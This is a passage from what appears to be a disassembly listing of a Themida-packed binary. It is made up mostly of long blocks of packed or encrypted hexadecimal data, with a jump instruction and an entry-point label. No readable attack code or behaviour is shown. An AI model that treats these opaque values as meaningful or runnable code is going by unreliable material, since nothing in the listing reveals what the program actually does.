		dd 953EE0B0h, 74339410h, 4B9D58h, 65FFE49h, 0FE948BF6h
		dd 9C4A0918h, 9C98FFB1h, 34FE0B8Eh, 0B00080E4h,	74400CE5h
		dd 241114Dh, 372F9C20h,	5470BCF6h, 2AC41A14h, 9A9F00A0h
		dd 66158A45h, 0FC0109D7h, 98805C6Dh, 59913F29h,	0FAB78B3Ah
		dd 7A01787Ch, 0DD58207h, 0C22AF856h, 1062BCDCh,	3C47F0D4h
		dd 0BA92002Fh, 418F4Fh,	6A93151Dh, 0F6C4FDCDh, 3C716005h
		dd 0B4CCBD13h, 0A3F9008Fh, 642D90A6h, 45264E68h, 1E2C39BEh
		dd 4350982Fh, 5DB40577h, 0A5820C2Dh, 69204308h,	0F04040A4h
		dd 0C9612B51h, 5CB08818h, 5905AACEh, 75728507h,	0D3747780h
		dd 38CC0B7Ch, 60E8F255h, 0E6013F13h, 5C765D39h,	8021FEA3h
		dd 4E273C29h, 0A14FF064h, 3BE2CC8h, 0E2782289h,	97E25CE8h
		dd 6E19AF20h, 177FF663h, 58430AAh, 0C02048B4h, 0B24CC278h
		dd 0C45FE527h, 7D7703F4h, 0AFA070CFh, 628C60C0h, 3AD76E00h
		dd 98C40194h, 26647571h, 0A5AC878Eh, 7B00E844h,	800F750Ch
		dd 1C02EFh, 303C1F2Fh, 49843F4Dh, 474E0BF0h, 0E0850C82h
		dd 1CB869h, 9F895DA6h, 6F056739h, 247B000h, 81B4967Dh
		dd 16401418h, 6CC0F461h, 0FABD824Dh, 45CDA102h,	0D73476CCh
		dd 0D07CB900h, 245E8732h, 5357FC20h, 0D440127h,	36D48906h
		dd 332EEC3Dh, 0FC2613Dh, 0C51F8E59h, 8CFC0748h,	4080053Ah
		dd 77374682h, 0CC90A376h, 4C79540Fh, 89B1E206h,	3A105140h
		dd 0D085A282h, 6476CC9Dh, 0F3251C2Ch, 429E0068h, 0DDD937Ch
		dd 5C165Fh, 6C06C712h, 5828502Fh, 8A7C5CA5h, 107AC861h
		dd 5C045F18h, 35C09CAFh, 0C3A52056h, 0DF00DE71h, 764BB1B4h
		dd 1292701Dh, 0FCE69947h, 28F74B78h, 175B0100h,	929AC963h
		dd 8058A02Dh, 0F54A6050h, 3BBA012Ch, 0C85AB584h, 0ADA070FFh
		dd 4453B125h, 0C3F80354h, 399C4A2h, 2526CCE0h, 12204239h
		dd 0CA8E31Bh, 0C5EDBD80h, 894A6BC9h, 0B90571A8h, 89C89661h
		dd 0F031C4h, 93CD7578h,	0F381F12h, 9700E4F2h, 0C48C395Fh
		dd 34392FB6h, 0DB0F8017h, 0C7893BE0h, 0E8099527h, 1838D480h
		dd 0BA01395Ch, 0C8B87392h, 0EC3332B2h, 0B4D61Ch, 77E002D4h
		dd 0BDF6406Ah, 250B3E1Dh, 1A47E880h, 0B4F25F15h, 4F5580ECh
		dd 0A96290B5h, 0A83F7C00h, 23ED2A15h, 0C5748BDh, 0C9D82E04h
		dd 7364C033h, 8D161D60h, 78B2921Fh, 68FF4F00h, 0EE54F176h
		dd 0D4C41967h, 65807E45h, 4F48328Ah, 0E8048815h, 78039CB8h
		dd 8953BE95h, 3FE81674h, 245C885Fh, 27D1DD07h, 0F4D09BBEh
		dd 7DC6600Eh, 0FCDE0484h, 0AC0A145Ah, 30E58048h, 4C505Fh
		dd 68F39702h, 0ACB321CEh, 0ED57809h, 1D8E4E6h, 0CA3588FEh
		dd 0F121B35Eh, 9685607Eh, 0E39C7F0Fh, 6934C424h, 0A2F09483h
		dd 9088614Bh, 874AD217h, 94018D4h, 43A4353Bh, 1EE8004Ch
		dd 6E01859Bh, 0BDFC01CDh, 0C54E0768h, 98F4F693h, 0AA73F00h
		dd 2D7DD375h, 80A6160Ch, 0E50020C0h, 562C9E7Ch,	0BDD2FCC8h
		dd 5A2E2481h, 7FD439F7h, 7AC9F82Ch, 31F33600h, 2AB4FB5h
		dd 4E9148E1h, 0CD15B25h, 0A792803Bh, 0B4BA3D13h, 60055084h
		dd 22E401EBh, 1F7EEC1Dh, 50C0DA67h, 2B640F01h, 0DCBC1988h
		dd 3026C012h, 0A74C5FB0h, 0CDEAB90Eh, 846669CBh, 0B040E608h
		dd 0D7261FDBh, 7EC40A1Eh, 9DAF8840h, 0A0639877h, 621BCBACh
		dd 263D58B2h, 4180957h,	95F070Ch, 18A21588h, 0D220E45Dh
		dd 17821AECh, 3066200Eh, 5E79A2FCh, 0EEF24B00h,	0D19355BCh
		dd 574200A9h, 3347D088h, 0B89170E8h, 69D4BA80h,	68C6EAh
		dd 0CDA7981Fh, 0F11B2360h, 8047D494h, 82C0EA13h, 8AC04BA3h
		dd 58E042EDh, 4D880424h, 0EAB72476h, 1580422h, 41F2664Ch
		dd 0F00D6224h, 0C10BC559h
		dd 795FCD5Ah, 2C2900ACh, 5D7A179h, 0B1672600h, 0A28CDBBBh
		dd 7C6A3C7Eh, 86FA4h, 46D327CEh, 3860DDA1h, 0F88E745Eh
		dd 402FEB5Ah, 6C836334h, 0BE00D952h, 0AF976277h, 996D288h
		dd 7E81D012h, 0F47745Eh, 6E657D97h, 0E51D8C00h,	0F4465EDBh
		dd 4131002Eh, 0C2F7C624h, 5C2EF53Bh, 983DC28h, 883C4482h
		dd 1EA8A47Dh, 294E0274h, 2E6A6FCh, 65FF17A1h, 5FE5485Eh
		dd 51C4E809h, 0F67D828Ch, 0C0618236h, 0F2FB40FFh, 46256AA2h
		dd 0F8E457h, 3F2609A1h,	434F7CDFh, 0A414A1Dh, 79D160C0h
		dd 5D4DA3Bh, 460D05C9h,	3D5080C0h, 9E02FB78h, 0C9265DEh
		dd 43BC7E0Bh, 81962CA5h, 7A00607Dh, 19582EEFh, 4A263430h
		dd 25D8307Eh, 60503DC4h, 630055ECh, 57AC7F07h, 17672B27h
		dd 302DE647h, 64777D10h, 4462D105h, 90005E03h, 76E359Fh
		dd 63E10E6Ch, 38401678h, 1CFBCCB0h, 5B748013h, 0DBB1402h
		dd 9F68640Eh, 33731810h, 0BA2AD403h, 0F07C134Ah, 2D1D6884h
		dd 663276h, 1B0086F2h, 81A0E6F6h, 0B8E9424h, 4AADB718h
		dd 0D270850h, 0BC6425h,	0DEDB069Bh, 6C3B8575h, 46051B74h
		dd 0D2B1E8A2h, 0B529F802h, 0F6C7158h, 0D5A00DC4h, 8A5A13B4h
		dd 1A427F12h, 8109DC08h, 0FF1E0463h, 0C003F95h,	59437A31h
		dd 50B105h, 7652B54Dh, 0DD3E5149h, 0C178304h, 0A130983Eh
		dd 29969587h, 527C094Eh, 12BC8483h, 1D30F2B5h, 1B1F7ACBh
		dd 0E3371D80h, 3DFBEE0Eh, 0BD180D7Bh, 7FCA5089h, 1D5FD70Bh
		dd 4B7C6226h, 7C49E728h, 0D32D63BCh, 0C534BCF8h, 2C53910Fh
		dd 195BA126h, 453B66B7h, 8E0B9664h, 44204EE8h, 3DF2B89h
		dd 78CECB37h, 1A9006A0h, 1B17044Bh, 0BA015B15h,	6BCB7DDFh
		dd 0F0A4A093h, 5FF07C34h, 0BE14EC03h, 43F0CDh, 0F1D00D51h
		dd 49E09B4h, 90197800h,	0F5E06D9Ah, 0A40A092Fh,	0F0D0ABEEh
		dd 0F41CB0B0h, 5E530CBDh, 22C0A0BDh, 461FF2F0h,	0D900DBEAh
		dd 28E55BC9h, 1E8E4CB8h, 0ACABEF07h, 5F5907C0h,	49DE427Ch
		dd 2EF09057h, 158B0AFCh, 1FD179D0h, 0DB0EF9A3h,	1841B325h
		dd 0E8FA2AF5h, 949089CBh, 5C3E39F0h, 193D02ABh,	0A00CD933h
		dd 5FF6C86Ch, 0D6AD0048h, 10937734h, 6412C1BBh,	28CC67B7h
		dd 0D4781285h, 0F6940B7Ch, 0BC010AAh, 0C01947EBh, 0C0913F20h
		dd 2C73E06h, 0AE213480h, 1454B0B7h, 80A6A443h, 3A261AC7h
		dd 0C04E675Bh, 0C4ECCCE0h, 3820F000h, 0CDA19611h, 0DB483B78h
		dd 99DECE03h, 59806CE2h, 9F3026ACh, 1A5D2839h, 0F9071D77h
		dd 0FF6C807Ah, 0BE85AD57h, 380E9A79h, 0F0831D0h, 0A15A218Dh
		dd 0B3E0DDECh, 0A56B011Bh, 3784A744h, 0E81E7177h, 0F0387410h
		dd 306F38E9h, 0A39882Dh, 7AB009Bh, 6A8F1906h, 0A207544Ah
		dd 9EA5FACBh, 0FE3B2700h, 0B1790786h, 50F091E5h, 0D62123E0h
		dd 0B12F763Ch, 0C803584Bh, 882701F4h, 36009495h, 0E78C40DAh
		dd 6C43F5h, 0BE380804h,	3BF8687h, 47374E72h, 4AC130EEh
		dd 0B230A89Bh, 9A824CD0h, 0FC991961h, 0CCE7317Eh, 585F124Eh
		dd 3E6DEE0h, 0D4D9F1C2h, 0B1A0DFAEh, 25600176h,	0BB7B7781h
		dd 95F109CBh, 630031BAh, 0D5758627h, 0DF993B01h, 3EB4A7B1h
		dd 5B8C3181h, 0F166AB74h, 9173C016h, 291EEA05h,	0C850936Fh
		dd 8E6A01A8h, 156BF174h, 2CF091h, 1F630AE0h, 0EA4302A7h
		dd 89EA0036h, 1C9B30Eh,	6D00668Bh, 23BFE18Fh, 6085ECC0h
		dd 6E6F70A7h, 60300FDDh, 1C23F11Ah, 6B7C61h, 825DD7EEh
		dd 673CEF56h, 2A41ED00h, 0D695D175h, 31902B3h, 2DFE5863h
		dd 99322C48h, 83756C0Eh, 9A7000EDh, 0C6A79129h,	292A01C1h
		dd 4640D11Ch, 0DAC91500h, 0DC3052h, 246019B1h, 2986EB7Bh
		dd 97C9552h, 10FEB169h,	28CCA60h, 18B8555Ah, 0E880D97Bh
		dd 0D60FFB30h, 0A08D7A00h, 0BED70650h, 3A463EB8h, 0CC265E82h
		dd 0EC90472Eh, 0F9006409h, 6F55C057h, 2FF635Fh,	7B82A689h
		dd 0C44BF2Fh, 5DCEB309h, 29900A42h, 1588502h, 31BCA72Bh
		dd 0E3F0C397h, 5AEFCAh,	0D6A32D5Ch, 22180BB4h, 0D3F7B1C0h
		dd 3082E36Eh, 4059E147h, 0D20FE6E9h, 0E7C90FDFh, 1E30F156h
		dd 29EEC4AAh, 9C29AEh, 0EBF93C4Ch, 0BFE23A7Dh, 4D00E3ECh
		dd 774E85D4h, 0C6291B0Bh, 99240669h, 63C03A2Ch,	15F96900h
		dd 0EE43B9CCh, 24D8187Bh, 0DA7159A3h, 51D06100h, 0CE621873h
		dd 446000B4h, 0A5BDCB2Fh, 0A45829F2h, 71C000E2h, 72B9748Ch
		dd 1E997161h, 28A7168Fh, 0A4A638h, 9908CC2Ch, 0DF7D9EA3h
		dd 87076C00h, 0B14BE478h, 4CFCF050h, 0AB0CC604h, 0F4412606h
		dd 4509C324h, 391D3112h, 18AEA03h, 6A210028h, 0D7687D1Ah
		dd 0BE073435h, 1CC971C5h, 0E1C07AF5h, 90772FA6h, 4C2B7904h
		dd 0F101685Fh, 0E687A241h, 4900D701h, 0A9241A0Dh, 0E79530h
		dd 2C7F2F1h, 1468C04h, 0CE07A4A4h, 448A5F17h, 0AC0DA7D0h
		dd 249E072Eh, 34C457D5h, 0A3CC8265h, 39FC0127h,	486600D3h
		dd 1309C61Dh, 5207BB3Dh, 90990BADh, 1231F33h, 3744B929h
		dd 0D4BFB01Ah, 83FC5130h, 21D20130h, 0C1244Bh, 0CE347A56h
		dd 0A7FD82C9h, 0C4B06001h, 9C8C4505h, 0C06A1BD8h, 1895D8E8h
		dd 91C09B24h, 0E0D48E72h, 1DAD030Ch, 332340A7h,	3BFCA6F0h
		dd 94EE8228h, 7B2787F4h, 488CD876h, 0F0EE818h, 0A808813h
		dd 9353494Eh, 81EA9000h, 0F77B1BC5h, 88F00DAh, 6571816h
		dd 28906BCFh, 0F4E4A045h, 83150077h, 0B6AFDFCDh, 0DA1EF119h
		dd 240C9B71h, 955A299Eh, 0E00330F8h, 46A6B799h,	0DE82C8A3h
		dd 879800FBh, 0CD792B97h, 0DA006795h, 0C157DF6Ch, 242F112Ah
		dd 0B03410BDh, 0F44DB5F8h, 22D84A48h, 0D7B11F18h, 723B4A37h
		dd 0FC22CDh, 0B77558C5h, 0F9350428h, 748D2A02h,	0E0F6FA57h
		dd 70AE19E6h, 689179h, 2645A889h, 0B9E2D5A5h, 0F2597100h
		dd 70D6EECAh, 0BFD80498h, 9053996Eh, 56C2558Ch,	412F0133h
		dd 0C1E1A826h, 2DC0001Fh, 95E8E699h, 0BD051554h, 29C98F04h
		dd 6A6ED821h, 175760h, 0F3878C32h, 19BE659Fh, 3CCF0207h
		dd 2913D7B5h, 0E73100A1h, 0C77A9566h, 372CE644h, 356004D5h
		dd 5800E09h, 0BF02E58Eh, 4100EBACh, 0D7FD2F42h,	57B4005Ah
		dd 991DA25h, 1354606Bh,	0C27B159Ch, 8B874C3Eh, 870F2EFFh
		dd 948CD73Fh, 155B0079h, 8E1B69BBh, 99000E78h, 9A047CC1h
		dd 1F59934Eh, 1F4AF42h,	8CFDC46Ch, 5845E0DAh, 7DCCFF00h
		dd 7893E387h, 0BBC91EE8h, 0FA0DC0E4h, 0C4A0EC8Eh, 89B26728h
		dd 0D30BFB03h, 1C5AFCDCh, 7ACA0439h, 0B500643Ch, 2A275C19h
		dd 0C701BC65h, 62364EA4h, 209F6E37h, 87CE40CCh,	359E9AAFh
		dd 56C49800h, 96EF7FB2h, 4B4F005Eh, 0AE07B694h,	82180A5Dh
		dd 80696E45h, 866B015Fh, 0FCDD08ECh, 0E19836Fh,	800F2682h
		dd 534F5Dh, 0DE0241FAh,	0BA84DFBFh, 6D5F540Ch, 503CF8ABh
		dd 0A05C45h, 6FFE5B97h,	8A8942Dh, 0B2062B00h, 8AA6CA0Fh
		dd 0DDE40C4Ah, 733154FAh, 6408EC61h, 70CC8D95h,	0EB5E1EF0h
		dd 2E204088h, 0DB16691Eh, 7FB7D101h, 0D0CA78B9h, 4A078C50h
		dd 0EB0E0057h, 461343D7h, 2814DF93h, 86C0F0DDh,	61E68Ch
		dd 0CA8F8481h, 1865C5C3h, 4C946100h, 0DFC71FA3h, 0F6D201EBh
		dd 0DD0B8F9Ch, 0F09049FDh, 0DB014AF2h, 0B4AA6B80h, 0BBD00398h
		dd 34B93B83h, 0F4C0D4h,	3299DBFCh, 2EAEE6A5h, 92EB2600h
		dd 0DD31D61Ch, 898A0A12h, 0A98DC91h, 304439h, 13207693h
		dd 0A2030248h, 36DA1CDDh
		dd 0E159006Bh, 72EE14CBh, 612E6771h, 270090CAh,	37C9BCDCh
		dd 0DE29C065h, 8C06FD8Ah, 0CDA65600h, 29970FB8h, 0A8737C7Eh
		dd 7860780h, 7476E798h,	0EC6AEFh, 9F8AD32Dh, 0F07A83FDh
		dd 3C402203h, 326AE4DDh, 9668B4A1h, 1FFA6E20h, 9E5E00F4h
		dd 199DD0F1h, 0C7E97C9h, 70B1F90Ah, 1760D069h, 271558h
		dd 0F4E82385h, 3CF1CCE9h, 51633737h, 12B9E4C0h,	41930330h
		dd 0B732D51h, 9C42B100h, 26F1A97Eh, 0A43F0103h,	0CE89E518h
		dd 551FF0DBh, 0C700B3Ah, 516C4FE8h, 0B96D6045h,	0E65EC775h
		dd 24714200h, 0A4699CFCh, 0D36107EFh, 0F0908DF1h, 0B506AF3Dh
		dd 0A9B70B00h, 0ADD0F777h, 71660009h, 0C89A68CBh, 0DE00A5DAh
		dd 6DE5CE51h, 393FB2C2h, 0EA81956Eh, 42D50704h,	8AA9F061h
		dd 0D0F0D103h, 0B0B15158h, 7D2F8468h, 18640021h, 50070AB8h
		dd 0BB00D924h, 0D4AA05F9h, 0C0F55871h, 0BD40B018h, 0E7E80F8Eh
		dd 5E9EC006h, 7749C69Ah, 57441D27h, 0B900A218h,	2C87BD7Dh
		dd 0EDD5C8h, 0C4DEA909h, 0AF6A5CD7h, 98F3CA3Fh,	0A830B04Fh
		dd 691C60A7h, 7CF0D347h, 0DA00427Ah, 0E557D1FBh, 39117D70h
		dd 0A19FDB24h, 4CA8B0h,	0A8F2026Dh, 408E863Eh, 30871303h
		dd 118D23Dh, 0B1D70A20h, 0ECBBCD71h, 0BA02F88Fh, 2A1368B6h
		dd 0FF0197CCh, 0DBFFh, 0
; ---------------------------------------------------------------------------


loc_5A1B04:				; CODE XREF: Themida_:loc_513265j
					; DATA XREF: Themida_:loc_513086o
		jmp	loc_5A5071
; ---------------------------------------------------------------------------
		db 23h,	1, 37h
		dd 2, 34567800h, 12h, 29h dup(0)
		dd 0AEF9FC00h, 0
		dd 7FFB000h, 90702802h,	0BCh, 2	dup(0)
		dd 90EB9400h, 7Ch, 67FFB000h, 5F804C01h, 7 dup(0)
		dd 0A16A2100h, 0FFh, 9 dup(0)
		dd 0B5184200h, 3 dup(0)
		dd 0FF721700h, 0FFh, 0
		dd 0F12DCD00h, 0B88B327Ch, 4 dup(0)
		dd 0BB0B6C00h, 5 dup(0)
		dd 8111DA00h, 12FF547Ch, 5FEB9400h, 2 dup(0)
		dd 0B5192000h, 0
		dd 5E6CF700h, 2	dup(0)
		dd 0BF000000h, 0
		dd 0B5180F00h, 4 dup(0)
		dd 0D6758700h, 0B5FA0301h, 6 dup(0)
		dd 607DC100h, 3884000h,	96h, 60000h, 2 dup(0)
		dd 75B500h, 0Fh	dup(0)
		dd 0CC00h, 63525B00h, 3	dup(0)
		dd 90EB9400h, 7Ch, 400h, 3 dup(0)
		dd 0A5CFEF00h, 0FFh, 0AE55800h,	0DEh, 200h, 4 dup(0)
		dd 0BB0B6C00h, 90EB9400h, 7Ch, 2 dup(0)
		dd 91000000h, 3Dh, 0B58E5100h, 58002C00h, 2, 4 dup(0)
		dd 0B5EDEB00h, 23E400h,	0F8424000h, 0A5h, 5 dup(0)
		dd 80ADA000h, 0F0D22A7Ch, 0DEF044BCh, 2Fh, 6 dup(0)
		dd 0FFF68300h, 0FFh, 2 dup(0)
		dd 5E511F00h, 5F5FEA00h, 6 dup(0)
		dd 74F91A00h, 0ADh, 4 dup(0)
		dd 100h, 5F341D00h, 3 dup(0)
		dd 44F49400h, 0FFh, 2 dup(0)
		dd 80ABDE00h, 0D8D6297Ch, 0B7h,	2 dup(0)
		dd 58E35D00h, 0F4h, 3 dup(0)
		dd 0AB000000h, 0
		dd 0B5A8CF00h, 0
		dd 0B5280800h, 4 dup(0)
		dd 90EB3100h, 7Ch, 9 dup(0)
		dd 0BB31E500h, 37000h, 7 dup(0)
		dd 66408E00h, 53h, 4 dup(0)
		dd 66315D00h, 3Eh, 3 dup(0)
		dd 4A35CF00h, 48h, 0BB0B6C00h, 5A3FF900h, 4 dup(0)
		dd 0B5180F00h, 100h, 0
		dd 5EDB1700h, 3	dup(0)
		dd 0CD48BB00h, 14h, 2 dup(0)
		dd 0FFB48600h, 0FFh, 9470BA00h,	7Ch, 3 dup(0)
		dd 0CF83A000h, 8D8D04h,	26h, 0B50E2400h, 4 dup(0)
		dd 11000000h, 4DA57700h, 62DD31D6h, 0
		dd 400h, 0
		dd 90EB9400h, 7Ch, 0
		dd 5A569700h, 4	dup(0)
		public start
start		dd 3 dup(0)
		dd 28010500h, 0Ah, 3 dup(0)
		dd 90EB9400h, 7Ch, 4 dup(0)
		dd 0A2000000h, 12FEC87Ch, 8 dup(0)
		dd 0A4544500h, 56h, 0CF31AC00h,	0B2h, 5	dup(0)
		dd 40100000h, 4	dup(0)
		dd 7D8EA500h, 9, 351800h, 0B50A2500h, 5	dup(0)
		dd 10000h, 90EB9400h, 3333337Ch, 2 dup(33333333h), 5EFBFF33h
		dd 0
		dd 0B5180F00h, 7463A800h, 7, 3 dup(0)
		dd 0B400h, 63122700h, 2	dup(0)
		dd 12FF5400h, 3	dup(0)
		dd 5A002300h, 0
		dd 5A002300h, 0
		dd 0FFFFFF00h, 0FFh, 5 dup(0)
		dd 0FF146C00h, 0FFh, 0FFFF0000h, 0FFh, 7 dup(0)
		dd 5DED4000h, 4	dup(0)
		dd 22222200h, 22222222h, 22h, 0
		dd 0EF11E500h, 909Dh, 3	dup(0)
		dd 100h, 3 dup(0)
		dd 5E95DF00h, 62AF8600h, 3 dup(0)
		dd 37000h, 7 dup(0)
		dd 78800h, 4 dup(0)
		dd 0B8287800h, 0C530DF00h, 0A9h, 4 dup(0)
		dd 90EB9400h, 7Ch, 3EDA5700h, 0BAh, 2 dup(0)
		dd 9834C000h, 810A770Fh, 7Ch, 9EF06000h, 0FFh, 7 dup(0)
		dd 0A6587100h, 0FFh, 5EF9F800h,	0BB1E6900h, 2 dup(0)
		dd 0A4AA4700h, 72h, 0
		dd 5F07A400h, 5	dup(0)
		dd 0B5FA0300h, 0
		dd 90EB9400h, 7Ch, 2 dup(0)
		dd 5F452B00h, 2	dup(0)
		dd 90EB9400h, 7Ch, 0
		dd 0B5180F00h, 7 dup(0)
		dd 5F097D00h, 2	dup(0)
		dd 5F19D100h, 0
		dd 6D05BA00h, 80180ED0h, 7Ch, 0
		dd 2727AB00h, 60h, 2 dup(0)
		dd 0CC43C400h, 1, 3 dup(0)
		dd 5E9DA200h, 0B5EBC100h, 0
		dd 174A3A00h, 2Eh, 6 dup(0)
		dd 5EDB1700h, 4	dup(0)
		dd 0DDEBE700h, 0BFCD77h, 4 dup(0)
		dd 0FF8B5400h, 0FFh, 0
		dd 0D88B3500h, 6359512Bh, 0B062AB00h, 11h, 4 dup(0)
		dd 0AAE900h, 0
		dd 623F4500h, 0Fh dup(0)
		dd 0B5180F00h, 0
		dd 5A2E9100h, 0
		dd 17BE6700h, 59h, 2 dup(0)
		dd 0B5180F00h, 2 dup(0)
		dd 0BCFB9200h, 12FFE000h, 0EFDF8200h, 28121835h, 1, 4 dup(0)
		dd 90EE1800h, 7Ch, 100h, 0EF20DC00h, 2,	0FF551700h, 0FFh
		dd 0
		dd 0D46EF000h, 0B0h, 0
		dd 0BB3F0F00h, 5 dup(0)
		dd 215CF600h, 0BB02133Dh, 9 dup(0)
		dd 7D100h, 0
		dd 5A2E9100h, 0FF727300h, 0D9h,	0Ch dup(0)
		dd 5DEFC100h, 0D8D62900h, 90EB94B7h, 5E00237Ch,	2 dup(0)
		dd 0F54C0000h, 43h, 3 dup(0)
		dd 0DFFFFF00h, 604E136Ch, 20595D00h, 47h, 0
		dd 60A0EB00h, 6	dup(0)
		dd 0B5AEA100h, 4 dup(0)
		dd 90EB9400h, 7300007Ch, 2, 3 dup(0)
		dd 12689E00h, 1, 0
		dd 420C2C00h, 6B888Fh, 0
		dd 12FFC400h, 0
		dd 29224E00h, 5EE61855h, 2 dup(0)
		dd 6EF4A400h, 83h, 5 dup(0)
		dd 0CFAD7F00h, 7Ch, 3 dup(0)
		dd 7CFB1300h, 31h, 217B4000h, 5, 0
		dd 0F2129000h, 76h, 3 dup(0)
		dd 400E900h, 0
		dd 90EB9400h, 7Ch, 0
		dd 0C530DF00h, 5F0B15A9h, 20h dup(0)
		dd 0B7FCAD00h, 0
		dd 5DB34400h, 0
		dd 0BF00F800h, 0
		dd 5E125600h, 400h, 4 dup(0)
		dd 5F9E1400h, 3	dup(0)
		dd 4D00000h, 2 dup(0)
		dd 46DA4400h, 0CDB258C2h, 33h, 2 dup(0)
		dd 0FCADEA00h, 0FFh, 0Ah dup(0)
		dd 3A975100h, 7Ah, 2 dup(0)
		dd 0E800h, 2 dup(0)
		dd 0B5291800h, 5 dup(0)
		dd 90EB9400h, 7Ch, 0
		dd 47FFB000h, 2, 4 dup(0)
		dd 0F0D22A00h, 0BCh, 3 dup(0)
		dd 5E511F00h, 5	dup(0)
		dd 4AE7F100h, 0FFh, 2 dup(0)
		dd 100h, 5896F00h, 2EC9C31Ah, 29h, 0ACD28700h, 0B5FA2300h
		dd 0B58EE400h, 0
		dd 5DEFE900h, 0C125A900h, 45h, 90EE1800h, 0B07Ch, 6A4C00h
		dd 2 dup(0)
		dd 965F200h, 0Bh dup(0)
		dd 5E125600h, 0DBh dup(0)
		dd 356CA400h, 0FBh, 6 dup(0)
		dd 66408E00h, 53h, 10h dup(0)
		dd 0EB16AC00h, 0E2h, 0
		dd 0B6249300h, 5E685800h, 3 dup(0)
		dd offset dword_53C398+768h
		dd 0D27D4A00h, 0B6h, 3 dup(0)
		dd 0DEAA5B00h, 1Fh, 5 dup(0)
		dd 7DAF00h, 3 dup(0)
		dd 6C43FD00h, 71h, 5 dup(0)
		dd 5F7ED800h, 9	dup(0)
		dd 5EEB9400h, 0Eh, 7C68CA00h, 0E25123BAh, 0Dh, 3 dup(0)
		dd 12FF5400h, 3	dup(0)
		dd 0A2889C00h, 0EDh, 73018400h,	0C40Ah,	0
		dd 5E555C00h, 7	dup(0)
		dd 90EB9400h, 7Ch, 80000000h, 4C237Ch, 8 dup(0)
		dd 379400h, 7 dup(0)
		dd 2633A900h, 4C010598h, 0Dh, 3	dup(0)
		dd 0BB0B6C00h, 0FF9BB000h, 0FFh, 100h, 2 dup(0)
		dd 62E0D000h, 12FFA400h, 9D219600h, 0FFh, 5EFB3A00h, 5 dup(0)
		dd 0A9ED5D00h, 6Dh, 5 dup(0)
		dd 0FEE24300h, 4Eh, 2 dup(0)
		dd 62A20400h, 0Ah dup(0)
		dd 21212100h, 21h, 4 dup(0)
		dd 0ED355D00h, 0DCh, 5 dup(0)
		dd 5A5E1D00h, 3	dup(0)
		dd 5A569700h, 3	dup(0)
		dd 5E6AA600h, 0C5000000h, 3 dup(0)
		dd 0FF96AC00h, 0FFh, 6 dup(0)
		dd 16B7D00h, 3 dup(0)
		dd 8679CF00h, 9, 7 dup(0)
		dd 0FE642900h, 4Eh, 4 dup(0)
		dd 2900000h, 0FF997800h, 0FFh, 0
		dd 4BE0BE00h, 0F3h, 2 dup(0)
		dd 79586E00h, 5A444226h, 0FF36E400h, 656854FFh,	6164696Dh
		dd 1Ch dup(0)
		dd 919AEB00h, 7Ch, 0FF885400h, 0FFh, 172BD900h,	63h, 7 dup(0)
		dd 5EADAD00h, 0
		dd 635A3200h, 12FFF000h, 0
		dd 6F146C00h, 83h, 5EB58700h, 9581900h,	0A16A2100h, 0FFh
		dd 5 dup(0)
		dd 67000h, 4 dup(0)
		dd 0BB0B6C00h, 2 dup(0)
		dd 0DFC41B00h, 77h, 0
		dd 90EB9400h, 0F215107Ch, 1F31E976h, 814AF246h,	7Ch, 2 dup(0)
		dd 80351800h, 7Ch, 7 dup(0)
		dd 6357D300h, 0Bh dup(0)
		dd 5F942B00h, 0Ah dup(0)
		dd 5626C900h, 64h, 2 dup(0)
		dd 100h, 4 dup(0)
		dd 0F7FFB000h, 1, 2 dup(0)
		dd 0DD7FFC00h, 7Fh, 2 dup(0)
		dd 90EB9400h, 0B88B0D7Ch, 8 dup(0)
		dd 85FD7600h, 72h, 0Bh dup(0)
		dd 0FEF40200h, 5E0023FFh, 7 dup(0)
		dd 0A57FB800h, 0FFEB94FFh, 0FFh, 8 dup(0)
		dd 812ADE00h, 7Ch, 3 dup(0)
		dd 66408E00h, 53h, 71000000h, 102h, 0Ah	dup(0)
		dd 9F42A000h, 0FFh, 0
		dd 5F09DF00h, 0B44E5B00h, 90EB9476h, 7Ch, 2 dup(0)
		dd 0BC00h, 780BB700h, 0DD0000DCh, 12798D7Fh, 0
		dd 5E95DF00h, 5A497900h, 0FFFF9000h, 0B500E8FFh, 0C4B14200h
		dd 8Ah,	2 dup(0)
		dd 30DF00h, 0
		dd 90EB9400h, 7Ch, 0
		dd 0B5941700h, 6F146C00h, 90DDF983h, 667E727Ch,	55597471h
		dd 86h,	39EEB800h, 53h,	5F6EF400h, 0
		dd 80ABC100h, 7Ch, 0
		dd 90EE1800h, 7Ch, 4 dup(0)
		dd 0A168E400h, 0FFh, 90EB9400h,	7Ch, 5EC6B200h,	3 dup(0)
		dd 74A900h, 0Bh	dup(0)
		dd 100h, 3 dup(0)
		dd 609D6E00h, 4	dup(0)
		dd 63528E00h, 4	dup(0)
		dd 90EB9400h, 0C07Ch, 6F146C00h, 83h, 2	dup(0)
		dd 7C00h, 68D8D00h, 0C0h, 5 dup(0)
		dd 0E7FFB000h, 1, 0
		dd 62B09300h, 2	dup(0)
		dd 61310900h, 0BF07F800h, 14482819h, 0
		dd 0FFF41800h, 0FFh, 0
		dd 90000000h, 7Ch, 0
		dd 30253200h, 86h, 7 dup(0)
		dd 0B5FA0300h, 0
		dd 0B81CF700h, 2 dup(0)
		dd 0B5000000h, 5 dup(0)
		dd 6096ED00h, 3	dup(0)
		dd 0ED013800h, 0FFh, 0
		dd 2700h, 5FFF6800h, 0Dh dup(0)
		dd 0B51A4400h, 3 dup(0)
		dd 9D795C00h, 0FFh, 0
		dd 20595D00h, 47h, 2 dup(0)
		dd 4BFFBA00h, 0FFh, 6 dup(0)
		dd 74000000h, 2, 2 dup(0)
		dd 14000000h, 58000000h, 2, 4 dup(0)
		dd 85FD7600h, 72h, 2 dup(0)
		dd 81CDDA00h, 80003E7Ch, 0B5FA037Ch, 41A8AD00h,	7Eh, 4 dup(0)
		dd 0F93D6A00h, 2Bh, 0
		dd 384BE100h, 5E1256DDh, 2 dup(0)
		dd 7687B500h, 0FCh, 0
		dd 0B50ED000h, 0
		dd 59498400h, 70h, 15h dup(0)
		dd 60000000h, 71h, 3 dup(0)
		dd 6098A700h, 0
		dd 0FFFFFF00h, 5E511FFFh, 6 dup(0)
		dd 9F8D8D00h, 0A5h, 2 dup(0)
		dd offset dword_643400
		dd 8 dup(0)
		dd 90EE1800h, 7Ch, 0Eh dup(0)
		dd 0DB55000h, 609D1152h, 2200h,	7 dup(0)
		dd 0BDB1C100h, 0CBh, 0
		dd 3428F700h, 16h, 5DEF9900h, 4	dup(0)
		dd 801D7700h, 4A143F7Ch, 0FFh, 0Ch dup(0)
		dd 21C5AC00h, 0EDh, 0B58E5100h,	3668DD00h, 2, 9A2ABE00h
